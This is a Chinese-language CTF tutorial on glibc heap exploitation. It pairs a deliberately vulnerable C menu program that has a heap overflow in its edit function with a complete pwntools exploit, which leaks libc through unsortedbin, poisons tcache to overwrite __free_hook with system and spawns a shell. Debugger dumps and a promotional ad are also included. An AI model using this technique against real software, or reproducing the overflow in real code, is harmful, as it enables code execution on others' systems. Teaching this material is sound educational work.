浅说一下pwn堆,并用一个简单的例子具体说明,给刚入坑堆的小朋友说的一些思路。
堆是什么
堆,你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据,那么这块用来存储数据的内存就是堆。
结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。
堆的理解
堆有很多题型 什么堆溢出,off by null , uaf 等。
核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程,
比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。
堆的话也是一样。
就是用system
去执行/bin/sh
。越复杂的问题往往只需要很简单的道理。
所以堆到底要怎么去执行。
我们可以把某一个函数的内容改成system,下次调用该函数即是使用system,
再在别的堆里面放入/bin/sh
字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。
即可执行system(/bin/sh)
了
一般修改__free_hook
,使其内容变成system
然后再free掉放有/bin/sh
的堆
举例说明
我用一个很简单的例子去一步一步简单剖析。
这里我用一个很简单的例子去一步一步简单剖析。
先给出源码和gcc编译,使用的是Ubuntu18
gcc -o lizi lizi.c
#include<stdio.h> #include<stdlib.h> char *heap[0x20]; int num=0; void create() { if(num>=0x20) { puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); heap[num]=(char *)malloc(size); num++; } void show(){ int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { printf("Content:"); printf("%s",heap[idx]); } } void dele() { int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; } } void edit() { int size; int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { puts("how big u read"); scanf("%d",&size); puts("Content:"); read(0,heap[idx],size); } } void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show"); } void main() { int choice; while(1) { menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } } }
我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小,
而导致的堆溢出修改下一个堆。
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:yj009991,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC CVE 分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆,
使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。
(具体请看unsortedbin介绍)
结合exp介绍:
from pwn import * r=process('./lizi') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' def add(size): r.sendlineafter("4.show\n",'1') r.sendlineafter("idx\n",str(size)) def dele(idx): r.sendlineafter("4.show\n",'2') r.sendlineafter("idx\n",str(idx)) def edit(idx,size,con): r.sendlineafter("4.show\n",'3') r.sendlineafter("idx\n",str(idx)) r.sendlineafter("how big u read\n",str(size)) r.sendafter("Content:\n",con) def show(idx): r.sendlineafter("4.show\n",'4') r.sendlineafter("idx\n",str(idx)) add(0x420) add(0x420) add(0x420) dele(1) add(0x70) show(2) r.recvuntil("Content:") base=u64(r.recv(6)+'\x00'*2)-0x3ec090 print(hex(base)) free=base+libc.sym['__free_hook'] sys=base+libc.sym['system'] add(0x70) dele(3) edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free)) add(0x70) add(0x70) edit(3,0x10,"/bin/sh\x00") edit(4,0x10,p64(sys)) dele(3) r.interactive()
首先菜单不用多说,很简单的交互,写好就行
然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆
unsortedbin all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0
可以看到1号堆已经进入到unsortedbin了
然后申请一个小堆
pwndbg> x/32gx 0x55697b2cfaa0 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000
查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割
然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。
算出system
,__free_hook
的libc,
接着为什么要多申请一个堆,这里就是堆溢出的打法了,
在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook
地址
再把内容改成system
就可以把free当做system用了;
在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点
GDB看看
pwndbg> bin tcachebins 0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0 smallbins empty largebins empty
会发现tcache里面已经有__free_hook
了,因为已经把内容改成__free_hook
的地址了。
然后申请2个堆,把tcache里面的__free_hook
拿出来。
你也可以验证一下、
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55f37bb59000 0x55f37bb5a000 r-xp 1000 0
pwndbg> x/32gx 0x5597ecced000+0x202040 0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000 0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30 0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000 0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000
0x202040
是heap的偏移,可以从ida里面找到。
申请出来的堆,__free_hook
在4号堆
pwndbg> x/32gx 0x00007f7694f2e8e8 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000 0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000
成功证明,
然后已知4号堆是__free_hook
了,那么将4号堆的内容改成system
的地址,不就可以了吗
然后再把3号堆写入/bin/sh
然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh
)了
成功取得shell
总结
做堆题主要是要有一个总体想法就是要把什么变成system
去执行shell,或者也有别的,比如malloc等。
这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。
更多靶场实验练习、网安学习资料,请点击这里 >>